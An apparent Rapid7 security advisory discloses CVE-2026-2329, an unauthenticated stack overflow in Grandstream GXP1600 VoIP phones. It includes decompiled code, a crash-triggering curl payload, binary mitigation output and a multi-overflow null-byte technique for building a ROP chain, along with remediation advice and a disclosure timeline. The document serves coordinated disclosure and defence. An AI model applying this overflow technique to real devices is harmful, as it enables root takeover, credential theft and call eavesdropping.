Overview
Rapid7 Labs conducted a zero-day research project against the Grandstream GXP1600 series of Voice over Internet Protocol (VoIP) phones. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-2329. A remote attacker can leverage CVE-2026-2329 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. A vendor supplied firmware update, version 1.0.7.81, is available to fully remediate CVE-2026-2329.
The vulnerability is present in the device's web-based API service, and is accessible in a default configuration. As all models in the GXP1600 series share a common firmware image, the vulnerability affects all six models in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630.
CVE-2026-2329 has a CVSSv4 score of 9.3 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.
Impact
To demonstrate the impact of this vulnerability, a Metasploit exploit module has been developed. This demonstrates how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device. A complimentary post-exploitation module has also been developed. This allows an attacker to gather credentials, such as local user and SIP accounts, stored on a compromised GXP1600 device. Both Metasploit modules are available here.
Shown below is the exploit module being run against a target Grandstream GXP1630 device running a vulnerable firmware version 1.0.7.79.
⠀

⠀
As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by executing a Meterpreter payload and running several arbitrary OS shell commands.
In addition to achieving RCE with root privileges, we can also demonstrate using this capability to extract secrets from the target device, such as local and SIP account credentials. Shown below is a Metasploit post-exploitation module that leverages an existing session on the target (established via the exploit module) to extract secrets from the device.
⠀

⠀
Finally, we can leverage our RCE capabilities to reconfigure the target device to use a malicious SIP proxy, allowing an attacker to transparently intercept phone calls to and from the device, and eavesdrop on the audio. While the ability to leverage a malicious SIP proxy to intercept phone calls is not specific to these Grandstream devices, and is dependent on the SIP infrastructures configuration, it highlights the serious impact an unauthenticated RCE vulnerability has against VoIP phones. Rapid7 Labs has developed a SIP proxy for testing and auditing SIP infrastructure, which is available here.
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Technical analysis
Our analysis is based upon a GXP1630 device running firmware version 1.0.7.79. During testing, the test device had an IPv4 address of 192.168.86.77.
A HTTP service is listening by default on TCP port 80. This service provides both a web administration interface and an API. The API endpoint /cgi-bin/api.values.get is accessible to a remote attacker with no authentication. This endpoint is designed to request one or more configuration values from the phone. For example, you can request the phone's firmware version and model number via the following HTTP POST request using curl.
⠀
C:\>curl -ik http://192.168.86.77/cgi-bin/api.values.get --data "request=68:phone_model"
HTTP/1.0 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-cache, must-revalidate
Status: 200 OK
Set-Cookie: HttpOnly
{ "response": "success", "body": { "68": "1.0.7.79", "phone_model": "GXP1630" } }
⠀
The api.values.get API accepts an HTTP parameter named request. This parameter contains a colon-delimited list of identifiers to retrieve a corresponding value for (highlighted in yellow above). In the example above, identifier 68 corresponds to the phone's firmware version number, and identifier phone_model corresponds to the phone's model. We can see in the response, these values are returned.
Both the HTTP service and the API are implemented in the native code binary /app/bin/gs_web (32-bit ARM, Little Endian). Decompiling the function that handles a request to the api.values.get endpoint, we can see how the request parameter is split into colon-delimited parts for processing.
⠀
void __fastcall sub_144B4(int a1, char *a2, int a3)
{
int v5; // r6
const char *v6; // r5
int v7; // r3
int v8; // r6
char *cookie; // r7
char *remote_addr; // r0
int v11; // r10
char *request_buffer; // r11
int request_length; // r9
int request_offset; // r4
int part_length; // r3
int next_char; // r1
char *v17; // r2
char small_buffer[64]; // [sp+0h] [bp-68h] BYREF
char v19[40]; // [sp+40h] [bp-28h] BYREF
v5 = (*(int (__fastcall **)(int))(*(_DWORD *)a3 + 16))(a3);
v6 = (const char *)json_object_new_object();
sub_CC60(v5, (int)"response", (int)"success", v7);
sub_CAA4(v5, "body", v6);
v8 = sub_DE50();
cookie = get_cookie(a2, (Grandstream::CommonUtils *)"session-identity");
remote_addr = get_remote_addr();
v11 = sub_DEC4(v8, (Grandstream::CommonUtils *)cookie, (Grandstream::CommonUtils *)remote_addr);
request_buffer = sub_C19C(a2, (Grandstream::CommonUtils *)"request");
request_length = Grandstream::CommonUtils::strlen(request_buffer);
if ( request_length > 0 )
{
request_offset = 0;
part_length = 0;
small_buffer[0] = 0;
do
{
next_char = (unsigned __int8)request_buffer[request_offset];
v17 = &v19[part_length];
if ( next_char == ':' )
{
*(v17 - 64) = 0;
sub_14354(a1, v6, small_buffer, v11);
part_length = 0;
small_buffer[0] = 0;
}
else
{
*(v17 - 64) = next_char;
++part_length;
}
++request_offset;
}
while ( request_offset != request_length );
if ( part_length )
{
small_buffer[part_length] = 0;
sub_14354(a1, v6, small_buffer, v11);
}
}
}
⠀
The request parameter (referenced via the variable request_buffer above) is iterated over character by character. If the next character is not a colon character, this next character is appended to a small 64 byte buffer on the stack (the variable small_buffer above). If the next character is a colon, or the end of the request parameter is reached, the current identifier held in the small buffer is null terminated and then processed to retrieve that identifier's value.
When appending another character to the small 64 byte buffer, no length check is performed to ensure that no more than 63 characters (plus the appended null terminator) are ever written to this buffer.
Therefore, an attacker-controlled request parameter can write past the bounds of the small 64 byte buffer on the stack, overflowing into adjacent stack memory. This can be demonstrated with the following curl command, which supplies a 256 byte request parameter:
⠀
curl -ik http://192.168.86.77/cgi-bin/api.values.get --data
"request=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
⠀
By either attaching a debugger to the gs_web process or inspecting a core dump, we can observe the overflow and how the attacker-controlled data corrupts the stack contents to give the attacker control over multiple CPU registers, including the Program Counter (PC), as shown below.
⠀

Exploitation
To leverage this stack-based buffer overflow for remote code execution, we examine the gs_web binary using the checksec tool, to see what mitigations are present.
⠀
$ /usr/bin/checksec --file=./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web --format=json | jq
{
"./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web": {
"relro": "no",
"canary": "no",
"nx": "yes",
"pie": "no",
"rpath": "no",
"runpath": "no",
"symbols": "no",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "5"
}
}
⠀
We can see that No Execute (NX) is enabled. This means the stack segment will not be executable. Therefore, to execute arbitrary code we will need to leverage a Return Oriented Programming (ROP) chain.
We can see via checksec that stack canaries are not present (we also knew this from the above core dump, showing PC control after the vulnerable function returns). This means the stack-based buffer overflow will not be detected at run time, and a corrupted return address stored on the stack can be used to control the Program Counter (PC) register, when the vulnerable function returns from the corrupted stack frame.
We can also see that the binary has not been linked as a Position Independent Executable (PIE). This prevents Address Space Layout Randomization (ASLR) from randomizing the main binaries code segment. We can therefore know in advance virtual addresses (VA) within the code segment for use during construction of a ROP chain.
We are left with a problem that the non-PIE binary gs_web has its code segment loaded at a VA of 0x00008000, as shown below via the readelf tool.
⠀
$ readelf -l ./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web
Elf file type is EXEC (Executable file)
Entry point 0xbffc
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
EXIDX 0x0115d8 0x000195d8 0x000195d8 0x00810 0x00810 R 0x4
PHDR 0x000034 0x00008034 0x00008034 0x000e0 0x000e0 R E 0x4
INTERP 0x000114 0x00008114 0x00008114 0x00014 0x00014 R 0x1
[Requesting program interpreter: /lib/ld-uClibc.so.0]
LOAD 0x000000 0x00008000 0x00008000 0x11dec 0x11dec R E 0x8000
LOAD 0x012000 0x00022000 0x00022000 0x00498 0x0055c RW 0x8000
DYNAMIC 0x01202c 0x0002202c 0x0002202c 0x00168 0x00168 RW 0x4
⠀
With PIE not enabled, and no suitable info leak to leak a VA from another Shared Object (SO) located higher in the address space, a load address of 0x00008000 will require us to write multiple null bytes during exploitation in order to construct a ROP chain, as every VA used within the ROP chain will have at least one null byte. However, the vulnerability only allows for a single null terminator byte to be written during the overflow.
To overcome this limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g., “EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte), we can trigger the overflow 5 times. By adjusting the identifier value used to trigger each instance of the overflow, we can precisely place a null character at the desired locations. The table below shows how, in this contrived example, we can construct each separate identifier string in order to place a trailing null terminator character at the desired location. Upon triggering the overflow 5 times in succession, the final memory layout will be as we expect.
⠀
Overflow 1 (33 bytes + null terminator) | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 |
Overflow 2 (21 bytes + null terminator) | BBBBBBBBBBBBBBBBBBBBB0 |
Overflow 3 (20 bytes + null terminator) | CCCCCCCCCCCCCCCCCCCC0 |
Overflow 4 (11 bytes + null terminator) | DDDDDDDDDDD0 |
Overflow 5 (3 bytes + null terminator) | EEE0 |
Final Memory Layout(34 bytes) | EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0 |
⠀
We can therefore construct a malicious colon-delimited request parameter to achieve the above (note that, for brevity in this example, the length values here don't assume the required 64 bytes of padding to overflow the initial small buffer):
⠀
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
⠀
With the ability to write multiple null bytes, we can proceed to gather the ROP gadgets needed to build out a ROP chain. We choose to create a ROP chain that will execute an arbitrary OS command via the system standard C library function, before terminating the process gracefully via the exit standard C library function to avoid crashing the process. The accompanying Metasploit exploit module’s source code details the entire ROP chain.
Remediation
To remediate CVE-2026-2329, Grandstream users running either GXP1610, GXP1615, GXP1620, GXP1625, GXP1628 or GXP1630 devices should upgrade their firmware to version 1.0.7.81 or above. The latest Grandstream firmware can be found here.
For additional details from the vendor, please see the Grandstream PSIRT page.
Disclosure timeline
January 6, 2026: Rapid7 makes initial outreach to Grandstream.
January 20, 2026: Rapid7 makes another outreach to Grandstream.
January 20, 2026: Grandstream responds to the initial outreach.
January 21, 2026: Rapid7 and Grandstream establish a secure communication mechanism.
January 22, 2026: Rapid7 discloses the technical writeup and exploit code to Grandstream, who confirms receipt the same day.
February 2, 2026: Grandstream indicates a patch has been made available in the GXP1600 firmware version 1.0.7.81.
February 3, 2026: Grandstream reaffirms the issue has been resolved in the latest GXP1600 firmware version 1.0.7.81.
February 6, 2026: Rapid7 indicates to Grandstream that a CVE has not been assigned and offers to be the CNA for this disclosure. Rapid7 highlights to Grandstream that no public disclosure has occurred, and that it is Rapid7’s intention to disclose publicly in the coming days.
February 7, 2026: Grandstream agrees that Rapid7 can be the CNA in this disclosure and requests additional CVE record information.
February 11, 2026: Rapid7 provides the requested CVE record information to Grandstream. Rapid7 highlights to Grandstream that firmware version 1.0.7.81 does remediate the vulnerability, as shown by Rapid7 Labs reverse engineering the publicly available firmware. Rapid7 states that a public disclosure will occur on February 18, 2026.
February 18, 2026: This disclosure.
CVE-2026-2329: Critical Unauthenticated Stack Buffer Overflow in Grandstream GXP1600 VoIP Phones (FIXED)
Source: Rapid7
Source Link: https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed